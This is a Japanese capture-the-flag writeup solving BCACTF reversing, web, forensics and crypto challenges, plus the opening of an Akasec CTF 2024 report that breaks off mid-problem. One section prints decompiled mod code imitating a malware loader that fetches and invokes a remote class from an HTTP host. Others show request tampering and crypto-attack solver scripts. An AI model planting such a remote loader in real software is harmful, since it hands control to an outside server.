bcactf{SYMmE7ric_eNcrYP710N_4WD0f229}

Flagtureiser (rev 50)

jadx-guiデコンパイルする。

public class Flagtureiser {
    private static final Logger LOGGER = LogUtils.getLogger();
    public static final String MODID = "flagtureiser";
    public static final DeferredRegister<Block> BLOCKS = DeferredRegister.create(ForgeRegistries.BLOCKS, MODID);
    public static final DeferredRegister<Item> ITEMS = DeferredRegister.create(ForgeRegistries.ITEMS, MODID);
    public static final RegistryObject<Block> EXAMPLE_BLOCK = BLOCKS.register("example_block", () -> {
        return new Block(BlockBehaviour.Properties.m_60939_(Material.f_76278_));
    });
    public static final RegistryObject<Item> EXAMPLE_BLOCK_ITEM = ITEMS.register("example_block", () -> {
        return new BlockItem((Block) EXAMPLE_BLOCK.get(), new Item.Properties());
    });

    static void _6d8f2e1fefef5b67bf4f49179b84f29f7d1e01f0() throws Exception {
        Class.forName("Utility", true, (ClassLoader) Class.forName("java.net.URLClassLoader").getConstructor(URL[].class).newInstance(new URL("http", "bcactf{fRaCtur31s3R_sT8gE_z3R0}", 8080, "/dl"))).getMethod("run", String.class).invoke(null, "-114.-18.38.108.-100");
    }
        :
        :

このコードの中にフラグが含まれていた。

bcactf{fRaCtur31s3R_sT8gE_z3R0}

NoSQL (webex 25)

正規表現を使って、http://challs.bcactf.com:30390/?name=.{1,100}にアクセスすると、以下の結果となる。

{"rtnValues":["Ricardo Olsen","April Park","Francis Jackson","Ana Barry","Clifford Craig","Andrew Wise","Ada Atkinson","Janis McIntosh","Rosie Parsons","Neal Weaver","Alyssa Robison","Michael Hurst","Roberto Thornton","Renee Schwartz","Darryl Wilson","Wayne Boyle","Loretta Camacho","Bert Morton","Suzanne Johnson","Carol Fowler","Rose Hansen","Aimee Norman","Bethany Foley","Benjamin Baily","David Hull","Sabrina Fish","Rick Kirby","Edgar Grimes","Blake McDermott","Alicia Crosby","Teresa Ortega","Carroll Darling","Louis Tate","Phillip Fuller","Clinton Kimball","Alma Matthews","Stacie Franklin","Lucinda Steward","Gina Andrews","Philip Hyde","Devin Riggs","Michelle Thornton","Rogelio Freeman","Arthur Stephens","Andy Leon","Megan Gould","Myrna Yates","Edwin Pearce","Shirley Cannon","Lowell Cochran","Flag Holder"]}

整形すると、以下のようになる。

{
	"rtnValues": [
		"Ricardo Olsen",
		"April Park",
		"Francis Jackson",
		"Ana Barry",
		"Clifford Craig",
		"Andrew Wise",
		"Ada Atkinson",
		"Janis McIntosh",
		"Rosie Parsons",
		"Neal Weaver",
		"Alyssa Robison",
		"Michael Hurst",
		"Roberto Thornton",
		"Renee Schwartz",
		"Darryl Wilson",
		"Wayne Boyle",
		"Loretta Camacho",
		"Bert Morton",
		"Suzanne Johnson",
		"Carol Fowler",
		"Rose Hansen",
		"Aimee Norman",
		"Bethany Foley",
		"Benjamin Baily",
		"David Hull",
		"Sabrina Fish",
		"Rick Kirby",
		"Edgar Grimes",
		"Blake McDermott",
		"Alicia Crosby",
		"Teresa Ortega",
		"Carroll Darling",
		"Louis Tate",
		"Phillip Fuller",
		"Clinton Kimball",
		"Alma Matthews",
		"Stacie Franklin",
		"Lucinda Steward",
		"Gina Andrews",
		"Philip Hyde",
		"Devin Riggs",
		"Michelle Thornton",
		"Rogelio Freeman",
		"Arthur Stephens",
		"Andy Leon",
		"Megan Gould",
		"Myrna Yates",
		"Edwin Pearce",
		"Shirley Cannon",
		"Lowell Cochran",
		"Flag Holder"
	]
}

"Flag Holder"は51番目のため、idは51と推測し、該当するURLにアクセスする。

$ curl http://challs.bcactf.com:30390/51/Flag/Holder            
bcactf{R3gex_WH1z_54dfa9cdba13}
bcactf{R3gex_WH1z_54dfa9cdba13}

Phone number (webex 50)

BurpSuiteでインターセプトするようにし、適当な電話番号で送信する。インターセプトしたデータの電話番号の部分を問題文に書かれている 1234567890 に変更して送信すると、フラグが表示された。

bcactf{PHoN3_num8eR_EntER3D!_17847928}

Chalkboard Gag (foren 25)

ほとんど、各行で以下のように書かれている。

I WILL NOT BE SNEAKY

しかし異なる部分があるので、それを抜き出す。

#!/usr/bin/env python3
with open('chalkboardgag.txt', 'r') as f:
    lines = f.read().splitlines()

PHRASE = 'I WILL NOT BE SNEAKY'

flag = ''
for line in lines:
    if line != PHRASE:
        for i in range(len(line)):
            if line[i] != PHRASE[i]:
                flag += line[i]
                break

print(flag)
bcactf{BaRT_W0U1D_B3_PR0uD}

23-719 (foren 50)

$ pdftotext 23-719_19m2.pdf
$ cat 23-719_19m2.txt | grep -A 2 -B 2 -i ctf 
1

Al_WOrLd_appLIc4t1ons_Of_cTf_ad04cc78601d5da8}
b cactf{rE , KAGAN
SOTOMAYOR
, and JACKSON, JJ., concurring in judgment
bcactf{rEAl_WOrLd_appLIc4t1ons_Of_cTf_ad04cc78601d5da8}

Sea Scavenger (foren 50)

リンクされているページを探す。
http://challs.bcactf.com:32173/sharkのHTMLソースを見ると、コメントにこう書いてある。

<!-- You found the shark! Part 1 of the flag: "bcactf{b3" -->

http://challs.bcactf.com:32173/squidのHTMLソースにリンクされている/static/squid.jsを見てみると、こう書いてある。

console.log("You found it! Here's the second part of the flag: \"t_y0u_d1\"");

http://challs.bcactf.com:32173/clamにアクセスすると、クッキーのflag part 3にこう書いてある。

dnt_f1n

http://challs.bcactf.com:32173/shipwreckにアクセスすると、レスポンスヘッダにこう書いてある。

Flag_Part_4: d_th3_tr

http://challs.bcactf.com:32173/whaleのHTMLソースにリンクされている/static/whale.jsを見てみると、こう書いてある。

// Part 5 of the flag: "e4sur3"

http://challs.bcactf.com:32173/treasureにアクセスすると、こう書いてある。

Maybe this treasure was left here by robots...

http://challs.bcactf.com:32173/treasure/robots.txtにアクセスすると、こう書いてある。

You found the rest of the flag!

_t336e3}

すべてのフラグの断片を結合すると、フラグになる。

bcactf{b3t_y0u_d1dnt_f1nd_th3_tre4sur3_t336e3}

magic (foren 75)

PDFStreamDumperで開くと、JavaScriptでフラグをチェックする部分があることがわかる。

 << /S/JavaScript/JS(var _thereisdjs=true;
    (function(_0x18b13a,_0x4d582d){var _0x3da883=_0x4113,_0x1d0353=_0x18b13a();while(!![]){try{var _0x10c45c=parseInt(_0x3da883(0x1be))/0x1*(-parseInt(_0x3da883(0x1cc))/0x2)+parseInt(_0x3da883(0x1c2))/0x3+parseInt(_0x3da883(0x1c6))/0x4*(parseInt(_0x3da883(0x1c7))/0x5)+-parseInt(_0x3da883(0x1cb))/0x6*(parseInt(_0x3da883(0x1c1))/0x7)+-parseInt(_0x3da883(0x1ca))/0x8+parseInt(_0x3da883(0x1c0))/0x9+parseInt(_0x3da883(0x1c4))/0xa*(parseInt(_0x3da883(0x1bf))/0xb);if(_0x10c45c===_0x4d582d)break;else _0x1d0353['push'](_0x1d0353['shift']());}catch(_0x53c9c0){_0x1d0353['push'](_0x1d0353['shift']());}}}(_0x43c8,0xe20be));function _0x4113(_0x44cfd2,_0x23b14b){var _0x43c873=_0x43c8();return _0x4113=function(_0x4113e1,_0x43c2ed){_0x4113e1=_0x4113e1-0x1bd;var _0x2522f0=_0x43c873[_0x4113e1];return _0x2522f0;},_0x4113(_0x44cfd2,_0x23b14b);}function _0x43c8(){var _0x1355d8=['getField','charCodeAt','100554TvjbzQ','11jHxsKn','7564617EnopjV','2219BJkXWe','3372363teHOVr','alert','5165870pcLTuS','producer','32KYViix','925835vZTXso','Flag is incorrect!','length','8132288HsoZUP','13494jFFdda','26rtwUNT'];_0x43c8=function(){return _0x1355d8;};return _0x43c8();}function update(){var _0x3d0e72=_0x4113,_0x2923fd=this[_0x3d0e72(0x1cd)]('A')['value'],_0x12e8ec=[];for(var _0x28002d=0x0;_0x28002d<_0x2923fd[_0x3d0e72(0x1c9)];_0x28002d++){_0x12e8ec['push'](_0x2923fd[_0x3d0e72(0x1bd)](_0x28002d)^parseInt(info[_0x3d0e72(0x1c5)])%(0x75+_0x28002d));}k=[0x46,0x2d,0x62,0x11,0x6b,0x4c,0x72,0x5f,0x76,0x38,0x19,0x28,0x5f,0x31,0x36,0x63,0xf7,0xb1,0x69,0x2a,0x18,0x5e,0x36,0x1,0x37,0x3a,0x1c,0x5,0x11,0x56,0xe5,0x7b,0x64,0x2c,0x11,0x14,0x53,0x5a,0x35,0x17,0x41,0x62,0x3];if(_0x12e8ec['length']!=k[_0x3d0e72(0x1c9)]){app[_0x3d0e72(0x1c3)](_0x3d0e72(0x1c8));return;}for(var _0x28002d=0x0;_0x28002d<k[_0x3d0e72(0x1c9)];_0x28002d++){if(_0x12e8ec[_0x28002d]!=k[_0x28002d]){app[_0x3d0e72(0x1c3)](_0x3d0e72(0x1c8));return;}}app[_0x3d0e72(0x1c3)]('Flag is correct!');}
) >>

整形すると、以下のようになる。

var _thereisdjs = true;
(function(_0x18b13a, _0x4d582d) {
    var _0x3da883 = _0x4113,
        _0x1d0353 = _0x18b13a();
    while (!![]) {
        try {
            var _0x10c45c = parseInt(_0x3da883(0x1be)) / 0x1 * (-parseInt(_0x3da883(0x1cc)) / 0x2) + parseInt(_0x3da883(0x1c2)) / 0x3 + parseInt(_0x3da883(0x1c6)) / 0x4 * (parseInt(_0x3da883(0x1c7)) / 0x5) + -parseInt(_0x3da883(0x1cb)) / 0x6 * (parseInt(_0x3da883(0x1c1)) / 0x7) + -parseInt(_0x3da883(0x1ca)) / 0x8 + parseInt(_0x3da883(0x1c0)) / 0x9 + parseInt(_0x3da883(0x1c4)) / 0xa * (parseInt(_0x3da883(0x1bf)) / 0xb);
            if (_0x10c45c === _0x4d582d) break;
            else _0x1d0353['push'](_0x1d0353['shift']());
        } catch (_0x53c9c0) {
            _0x1d0353['push'](_0x1d0353['shift']());
        }
    }
}(_0x43c8, 0xe20be));

function _0x4113(_0x44cfd2, _0x23b14b) {
    var _0x43c873 = _0x43c8();
    return _0x4113 = function(_0x4113e1, _0x43c2ed) {
        _0x4113e1 = _0x4113e1 - 0x1bd;
        var _0x2522f0 = _0x43c873[_0x4113e1];
        return _0x2522f0;
    }, _0x4113(_0x44cfd2, _0x23b14b);
}

function _0x43c8() {
    var _0x1355d8 = ['getField', 'charCodeAt', '100554TvjbzQ', '11jHxsKn', '7564617EnopjV', '2219BJkXWe', '3372363teHOVr', 'alert', '5165870pcLTuS', 'producer', '32KYViix', '925835vZTXso', 'Flag is incorrect!', 'length', '8132288HsoZUP', '13494jFFdda', '26rtwUNT'];
    _0x43c8 = function() {
        return _0x1355d8;
    };
    return _0x43c8();
}

function update() {
    var _0x3d0e72 = _0x4113,
        _0x2923fd = this[_0x3d0e72(0x1cd)]('A')['value'],
        _0x12e8ec = [];
    for (var _0x28002d = 0x0; _0x28002d < _0x2923fd[_0x3d0e72(0x1c9)]; _0x28002d++) {
        _0x12e8ec['push'](_0x2923fd[_0x3d0e72(0x1bd)](_0x28002d) ^ parseInt(info[_0x3d0e72(0x1c5)]) % (0x75 + _0x28002d));
    }
    k = [0x46, 0x2d, 0x62, 0x11, 0x6b, 0x4c, 0x72, 0x5f, 0x76, 0x38, 0x19, 0x28, 0x5f, 0x31, 0x36, 0x63, 0xf7, 0xb1, 0x69, 0x2a, 0x18, 0x5e, 0x36, 0x1, 0x37, 0x3a, 0x1c, 0x5, 0x11, 0x56, 0xe5, 0x7b, 0x64, 0x2c, 0x11, 0x14, 0x53, 0x5a, 0x35, 0x17, 0x41, 0x62, 0x3];
    if (_0x12e8ec['length'] != k[_0x3d0e72(0x1c9)]) {
        app[_0x3d0e72(0x1c3)](_0x3d0e72(0x1c8));
        return;
    }
    for (var _0x28002d = 0x0; _0x28002d < k[_0x3d0e72(0x1c9)]; _0x28002d++) {
        if (_0x12e8ec[_0x28002d] != k[_0x28002d]) {
            app[_0x3d0e72(0x1c3)](_0x3d0e72(0x1c8));
            return;
        }
    }
    app[_0x3d0e72(0x1c3)]('Flag is correct!');
}

ブラウザのデベロッパーツールのConsoleでupdate関数以外をそのまま貼り付け、いろいろと確認する。_0x2923fdはフラグ文字列と推測できる。

> var _0x3d0e72 = _0x4113
< undefined
> _0x3d0e72(0x1bd)
< 'charCodeAt'
> _0x3d0e72(0x1c5)
< 'producer'

他のオブジェクトを見ると、以下の情報もある。

<<
	
	/Author()/Title()/Subject()/Creator()/Producer(t\377.2.8.3.5.4.8.8.9.3.2.7.4)/Keywords()
	/CreationDate (D:20240528134825-04'00')
	/ModDate (D:20240528134825-04'00')
	/Trapped /False
	/PTEX.Fullbanner (This is pdfTeX, Version 3.141592653-2.6-1.40.26 (TeX Live 2024/Arch Linux) kpathsea version 6.4.0)
>>

Unicodeで見ると、info['producer']の値は283548893274であるとわかる。
flagの各インデックスについて、以下の式が条件になる。

flag[i] ^ (283548893274 % (0x75 + i) == k[i]

この条件を元にフラグを求める。

#!/usr/bin/env python3
k = [0x46, 0x2d, 0x62, 0x11, 0x6b, 0x4c, 0x72, 0x5f, 0x76, 0x38, 0x19, 0x28, 0x5f, 0x31, 0x36, 0x63, 0xf7, 0xb1, 0x69, 0x2a, 0x18, 0x5e, 0x36, 0x1, 0x37, 0x3a, 0x1c, 0x5, 0x11, 0x56, 0xe5, 0x7b, 0x64, 0x2c, 0x11, 0x14, 0x53, 0x5a, 0x35, 0x17, 0x41, 0x62, 0x3]

flag = ''
for i in range(len(k)):
    for code in range(32, 127):
        if code ^ (283548893274 % (0x75 + i)) == k[i]:
            flag += chr(code)
            break
print(flag)
bcactf{InTerACtIv3_PdFs_W0W_cbd14436e6aea8}

Vinegar Times 3 (crypto 25)

Vigenere暗号。鍵をvinegarにして復号し、それを鍵にして次の暗号を復号することを繰り返す。

鍵:vinegar、 暗号:mmqaonv         -> redwine
鍵:redwine、 暗号:seooizmt        -> balsamic
鍵:balsamic、暗号:bdoloeinbdjmmyg -> addtosaladyummy
bcactf{add_to_salad_yummy}

Time Skip (crypto 50)

スキュタレー暗号と推測し、https://www.dcode.fr/scytale-cipherで復号する。

heyguysimkindoflostprobablynotgoingtosurvivemuchlongertobehonestbutanywaystheflagisbcactf{5c7t4l3_h15t04y_qe829xl1}pleasesendhelpimeanbythetimeyouseethisiveprobablybeendeadforthousandsofyearsohwellseeyoulaterisupposebyee

この復号結果にフラグが含まれていた。

bcactf{5c7t4l3_h15t04y_qe829xl1}

Encryptor Shop (50)

サーバの処理概要は以下の通り。

・p, q, r: 1024ビット素数
・n = p * q
・phi = (p - 1) * (q - 1)
・e = 65537
・d = pow(e, -1, phi)
・以下、3回繰り返し
 ・message: 入力
 ・m: messageを数値化したもの
 ・c = pow(m, e, n)
 ・c, n, eを表示
・x: 入力
・xを小文字にして"yes"の場合
 ・m: flagを数値化したもの
 ・n = p * r
 ・c = pow(m, e, n)
 ・c, nを表示

3回繰り返し中のnと後のnの公約数がpになり、素因数分解できる。あとは通常通り復号できる。

#!/usr/bin/env python3
import socket
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs.bcactf.com', 32542))

for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

for _ in range(3):
    data = recvuntil(s, b': ')
    print(data + 'A')
    s.sendall(b'A\n')
    for __ in range(4):
        data = recvuntil(s, b'\n').rstrip()
        print(data)
    n1 = int(data.split(' ')[-1])
    data = recvuntil(s, b'\n').rstrip()
    print(data)

data = recvuntil(s, b'(yes or no) ')
print(data + 'yes')
s.sendall(b'yes\n')

data = recvuntil(s, b'\n').rstrip()
print(data)
c = int(data.split(' ')[-1])
for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)
n2 = int(data.split(' ')[-1])

e = 65537
p = GCD(n1, n2)
r = n2 // p
phi = (p - 1) * (r - 1)
d = pow(e, -1, phi)
m = pow(c, d, n2)
flag = long_to_bytes(m).decode()
print(flag)

実行結果は以下の通り。

Welcome to the enc-shop!
What can I encrypt for you today?
Enter text to encrypt: A
Here is your encrypted message: 6684369504720877224851968043483000410679959031697265431956437267664675979468666901551197756539413130615196314489033909413541990946141328197663233385746875503771510245676409873065313218180560201395402907999765787087948731864480819815554772131642864230113989981895980711395533886252062000016020156439795878737256588965639150996055189203571689527949588179871836586223030997733204444200705738700250501496481417904557208138079410953687861696843458648520926151939268120333186031573642933007764337686806231068440751523540601005855491278074991305743055164956624946630058228550611838608620873545681115500625184822232595282830
c = 6684369504720877224851968043483000410679959031697265431956437267664675979468666901551197756539413130615196314489033909413541990946141328197663233385746875503771510245676409873065313218180560201395402907999765787087948731864480819815554772131642864230113989981895980711395533886252062000016020156439795878737256588965639150996055189203571689527949588179871836586223030997733204444200705738700250501496481417904557208138079410953687861696843458648520926151939268120333186031573642933007764337686806231068440751523540601005855491278074991305743055164956624946630058228550611838608620873545681115500625184822232595282830
Here is the public key for your reference:
n = 13344816468384409129090895090308774504015950452914933740769523975756571167655002465785014010956284992456913714685312005366460964563483995694175042029803339795008641612604675199939468732547908531330356331741795946215874636085236802030408714277912485174960907329420365237756748255863352306388707813819840181484084996344282848224566882420661806245537692002233922977625405911153667203502190518683210123915967746531180826130451927452355378833913337708327277366861896546960577422211923268983933059483460626142955841197405701875507317707037299301774136604635046964590524830247967922167625970705602264213824462462853541422049
e = 65537
Enter text to encrypt: A
Here is your encrypted message: 6684369504720877224851968043483000410679959031697265431956437267664675979468666901551197756539413130615196314489033909413541990946141328197663233385746875503771510245676409873065313218180560201395402907999765787087948731864480819815554772131642864230113989981895980711395533886252062000016020156439795878737256588965639150996055189203571689527949588179871836586223030997733204444200705738700250501496481417904557208138079410953687861696843458648520926151939268120333186031573642933007764337686806231068440751523540601005855491278074991305743055164956624946630058228550611838608620873545681115500625184822232595282830
c = 6684369504720877224851968043483000410679959031697265431956437267664675979468666901551197756539413130615196314489033909413541990946141328197663233385746875503771510245676409873065313218180560201395402907999765787087948731864480819815554772131642864230113989981895980711395533886252062000016020156439795878737256588965639150996055189203571689527949588179871836586223030997733204444200705738700250501496481417904557208138079410953687861696843458648520926151939268120333186031573642933007764337686806231068440751523540601005855491278074991305743055164956624946630058228550611838608620873545681115500625184822232595282830
Here is the public key for your reference:
n = 13344816468384409129090895090308774504015950452914933740769523975756571167655002465785014010956284992456913714685312005366460964563483995694175042029803339795008641612604675199939468732547908531330356331741795946215874636085236802030408714277912485174960907329420365237756748255863352306388707813819840181484084996344282848224566882420661806245537692002233922977625405911153667203502190518683210123915967746531180826130451927452355378833913337708327277366861896546960577422211923268983933059483460626142955841197405701875507317707037299301774136604635046964590524830247967922167625970705602264213824462462853541422049
e = 65537
Enter text to encrypt: A
Here is your encrypted message: 6684369504720877224851968043483000410679959031697265431956437267664675979468666901551197756539413130615196314489033909413541990946141328197663233385746875503771510245676409873065313218180560201395402907999765787087948731864480819815554772131642864230113989981895980711395533886252062000016020156439795878737256588965639150996055189203571689527949588179871836586223030997733204444200705738700250501496481417904557208138079410953687861696843458648520926151939268120333186031573642933007764337686806231068440751523540601005855491278074991305743055164956624946630058228550611838608620873545681115500625184822232595282830
c = 6684369504720877224851968043483000410679959031697265431956437267664675979468666901551197756539413130615196314489033909413541990946141328197663233385746875503771510245676409873065313218180560201395402907999765787087948731864480819815554772131642864230113989981895980711395533886252062000016020156439795878737256588965639150996055189203571689527949588179871836586223030997733204444200705738700250501496481417904557208138079410953687861696843458648520926151939268120333186031573642933007764337686806231068440751523540601005855491278074991305743055164956624946630058228550611838608620873545681115500625184822232595282830
Here is the public key for your reference:
n = 13344816468384409129090895090308774504015950452914933740769523975756571167655002465785014010956284992456913714685312005366460964563483995694175042029803339795008641612604675199939468732547908531330356331741795946215874636085236802030408714277912485174960907329420365237756748255863352306388707813819840181484084996344282848224566882420661806245537692002233922977625405911153667203502190518683210123915967746531180826130451927452355378833913337708327277366861896546960577422211923268983933059483460626142955841197405701875507317707037299301774136604635046964590524830247967922167625970705602264213824462462853541422049
e = 65537
Thank you for encrypting with us!
In order to guarantee the security of your data, we will now let you view the encrypted flag.
Would you like to view it? (yes or no) yes
Here is the encrypted flag: 1375321146160464039545386455966874322384860402691015184419776449066929792339475564431591532181538895768302915771046734855840224962965039733144168838903999344646584419296181471745610070177042276114618381554366519840287990874968053818194882022595168048992992929407560036625710331467558318317688962048351479738182561443341846828872235414450163637798401659143207077336382962570357646371334393107183956220689675357287815382833153466459403749353689635955742961885899089019851754158678593713025924583337130524369927137251361809351243083802956346199386790161294545128413493108125674579416192555018900797495495893904192779092
Here is the public key for your reference:
n = 17089210744676629722584288515746822992603859474044963019672720189540691982201565828133577242880553341702893008342551119601386503778273396369780024537188380259780894279404827929292903508660759027527908872858657973615667784642221023267498851656991965191325068836790212527694102846181451805603260558952968785973469735168677125016863902854484496047733277344260252141137033291732738166694895492896314656223361274672592903148831914217081303455984860584687032623257448069793477200149581450559643121069544736947171422928623756724694044051541131466938153358704253463419645800485104873726860571383379831429541576075002443328123
bcactf{w0w_@lg3br@_d3in48uth934r}
bcactf{w0w_@lg3br@_d3in48uth934r}

Cha-Cha Slide (crypto 100)

サーバの処理概要は以下の通り。

・key: ランダム32バイト文字列
・nonce: ランダム12バイト文字列
・secret_msg: ランダム16バイト文字列の16進数表記
・encrypt_msg(secret_msg)を表示
 ・keyとnonceを使って、secret_msgのChaCha20暗号化を行い、16進数表記で表示
・user_msg: 入力(256バイト以下)
・encrypt_msg(user_msg)を表示
・decrypted_secret_msg: 入力
・decrypted_secret_msgとsecret_msgが同じ場合、フラグを表示

ChaCha20暗号化は生成したストリーム文字列と平文をXORして暗号化する。keyとnonceは同じなので、生成したストリーム文字列は2回の暗号化で同じ。secret_msgと同じ長さの文字列を入力し、平文と暗号文のXORからストリーム文字列を割り出す。あとはそのストリーム文字列とsecret_msgの暗号文のXORでsecret_msgを割り出すことができる。

#!/usr/bin/env python3
import socket
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs.bcactf.com', 31100))

for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

enc_secret_msg = bytes.fromhex(data)

pt = 'A' * len(enc_secret_msg)
for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

print(pt)
s.sendall(pt.encode() + b'\n')
for _ in range(3):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

ct = bytes.fromhex(data)
secret_msg = strxor(strxor(pt.encode(), ct), enc_secret_msg).decode()

for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

print(secret_msg)
s.sendall(secret_msg.encode() + b'\n')
for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

実行結果は以下の通り。

Secret message:
293d9be344603e82621f102600d0e848443ce1a9008be15584be32336c925a32

Enter your message:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Encrypted:
0a4fbb9161441ca0156e675371f0986d671b90d075fc9171a6cc42471ee17844

Enter decrypted secret message:
b3a3decc60640a1dbf08461ec31532c7

bcactf{b3_C4rEFu1_wItH_crypT0Gr4phy_7d12be3b}
bcactf{b3_C4rEFu1_wItH_crypT0Gr4phy_7d12be3b}

RSAEncrypter (crypto 100)

サーバの処理概要は以下の通り。

・message: flag
・encode()結果を表示
 ・n: 512ビット素数と512ビット素数の積
 ・ciphertext = pow([messageの数値化したもの], 3, n)
 ・ciphertext, nを表示
・sent: 入力
・sentが"n"である間、以下繰り返し
 ・encode()結果を表示
 ・sent: 入力

ciphertext, nのペアを3つ入手し、Hastad's Broadcast Attackで復号する。

#!/usr/bin/env python3
import socket
from Crypto.Util.number import *
from sympy.ntheory.modular import crt
from gmpy2 import iroot

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs.bcactf.com', 32666))

ns = []
cs = []
e = 3

for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

ciphertext, n = eval(data)
ns.append(n)
cs.append(ciphertext)

for _ in range(2):
    data = recvuntil(s, b'(y/n) ')
    print(data + 'n')
    s.sendall(b'n\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    ciphertext, n = eval(data)
    ns.append(n)
    cs.append(ciphertext)

data = recvuntil(s, b'(y/n) ')
print(data + 'y')
s.sendall(b'y\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
print()

me, _ = crt(ns, cs)
m, success = iroot(me, e)
assert success
flag = long_to_bytes(m).decode()
print(flag)

実行結果は以下の通り。

Return format: (ciphertext, modulus)
(16662301336000929232856123889986692679864689772703343124576485849609008033943011702533968889568758894690159205011780951442460379634917083236711641750225581966405199436538292393404561696521235851295027286517044788320053337446510239282404554475223443395831172724577660558664239831818699099890366360542958043774, 52061765541851433144645013932074998885007721192554646665962608224724091105660252448406972175217644813475176697465744855541745815872967938945991261101605229109892986856868864101019965179552249967494308697560797407697246300235833965835457043835670136360713166911546134023014095843885801274098831008063133899791)
Did you recieve the message? (y/n) n
(141141787497244136342810168326994351327137788011137708918217250173342585719004623491833035343651341933252829879460665676742988652279461304730085683137942092033628063112089205239700147863203499316950491085560802172488825584526061504142873758241233941112270817753713311343216137589676235020649838209572325092831, 154673965516108268400184037908063289495864030756144599123560287957435200340819130571190635267722378990725206175985516678184636345919489125375682817721848201451761215676936024445054461966810159551612904493072610740895350762228050956306045467280077886319620343227514941435870658028149537815477488210792190431189)
How about now? (y/n) n
(27016564793765157758840709930433091487948240162197408015405988178462510163202055450083912155945189022739672639718850027986395612738749604872973947543899297026519669569969786881408377456418635537635162457905995287675906952865031324614134475461319124443291207266205062005368637583827832610659342410205822422080, 86375456518877764391725130882473801285854590443057100589879017006940222751150166998258295972732237223816729851553547055044684260398310489735083572957080212878520062755624294319655042763291642448031107863217530476016996468587710105296651063018965530701448184406652636946883463172311547192118956798372890336457)
How about now? (y/n) y
Message acknowledged.

bcactf{those_were_some_rather_large_numbersosvhb9wrp8ghed}
bcactf{those_were_some_rather_large_numbersosvhb9wrp8ghed}

rad-be-damned (crypto 150)

暗号処理の概要は以下の通り。

・plaintext: フラグ
・enc_plaintext = encrypt(plaintext)
 ・enc_plaintext = ''
 ・plaintextの各文字letterについて以下を実行
  ・cp = 19
  ・cp_length = 5
  ・bin_letter: letterのASCIIコード
  ・rem = letterのASCIIコード * 2**4
  ・remのビット数が5以上の間、以下を実行
   ・first_pos = find_leftmost_set_bit(rem)
    ・pos = 0
    ・remが0より大きい間、以下を実行
     ・rem: remを右シフト
     ・pos += 1
    ・posを返却
   ・rem = rem ^ (cp << (first_pos - cp_length))
  ・enc_plaintextに format(bin_letter, "08b") + format(rem, "0" + f"{cp_length - 1}" + "b") を結合
・cor_text = rad(enc_plaintext)
 ・corrupted_str = ''
 ・enc_plaintextの12バイトごとに以下を実行
  ・bit_mask = 2 ** (random.randint(0, 11))
  ・snippet: 12バイトの10進数数値
  ・rad_str: snippet と bit_maskのXOR (1ビット反転)
  ・corrupted_strにrad_strを2進数文字列12バイトで結合
・cor_textを出力

encryptでは各文字で平文と暗号文が1対1対応する。すべて確認し、それと1ビットだけ異なるものを探していけば、文字を探り当てることができ、フラグがわかる。

#!/usr/bin/env python3
def find_leftmost_set_bit(plaintext):
    pos = 0
    while plaintext > 0:
        plaintext = plaintext >> 1
        pos += 1
    return pos

def encrypt_char(letter):
    cp = int('10011', 2)
    cp_length = cp.bit_length()
    bin_letter, rem = ord(letter), ord(letter) * 2**(cp_length - 1)
    while (rem.bit_length() >= cp_length):
        first_pos = find_leftmost_set_bit(rem)
        rem = rem ^ (cp << (first_pos - cp_length))

    return format(bin_letter, "08b") + format(rem, "0" + f"{cp_length - 1}" + "b")

def check(s1, s2):
    count = 0
    for i in range(len(s1)):
        if s1[i] != s2[i]:
            count += 1
    if count == 1:
        return True
    else:
        return False

dic = {}
for code in range(32, 127):
    dic[code] = encrypt_char(chr(code))

with open('output.txt', 'r') as f:
    enc = f.read()

flag = ''
for i in range(0, len(enc), 12):
    c = enc[i:i+12]
    for code in range(32, 127):
        if check(c, dic[code]):
            flag += chr(code)
            break

print(flag)
bcactf{yumMY-y311OWC4ke-x7CwKqQc5fLquE51V-jMUA-aG9sYS1jb21vLWVzdGFz}

Akasec CTF 2024 Writeup

この大会は2024/6/7 22:37(JST)~2024/6/9 22:37(JST)に開催されました。
今回もチームで参戦。結果は872点で696チーム中105位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (MISC)

Discordに入り、#rulesチャネルのトピックを見ると、フラグが書いてあった。

AKASEC{Typ1c4l_s4n1ty_ch3ck_1n_d1sc0rd}

Sperm Rev (REV)

$ strings sperm_rev| grep AKASEC                       
AKASEC{strings_b35t_t00l_1n_r3v3r5e_eng1n33r1ng}
AKASEC{strings_b35t_t00l_1n_r3v3r5e_eng1n33r1ng}

Lost (CRYPTO)

平文の上位ビットがわかっているので、Coppersmithの定理を使って復号する。

#!/usr/bin/env sage
from Crypto.Util.number import *

with open('out.txt', 'r') as f:
    params = f.read().splitlines()

e = 2
n = int(params[0].split(' ')[-1])
c = int(params[1].split(' ')[-1])
cor_m = int(params[2].split(' ')[-1])

PR.<x> = PolynomialRing(Zmod(n))
f = (cor_m + x)^e - c
x0 = int(f.small_roots(X=2^160, beta=1)[0])
m = cor_m + x0
flag = long_to_bytes(m).decode()
print(flag)
AKASEC{c0pp3r5m17h_4774ck_1n_1ov3_w17h_5m4ll_3xp0n3nts}

Power Over All (CRYPTO)

暗号処理の概要は以下の通り。

・ps = key_gen()
 ・ps = []
 ・n: ランダム2以上2**6以下の整数
 ・n回以下繰り返し
  ・p: 256ビット素数
  ・psにpを追加
 ・psを返却
・c = encrypt([FLAGの数値化したもの], ps)
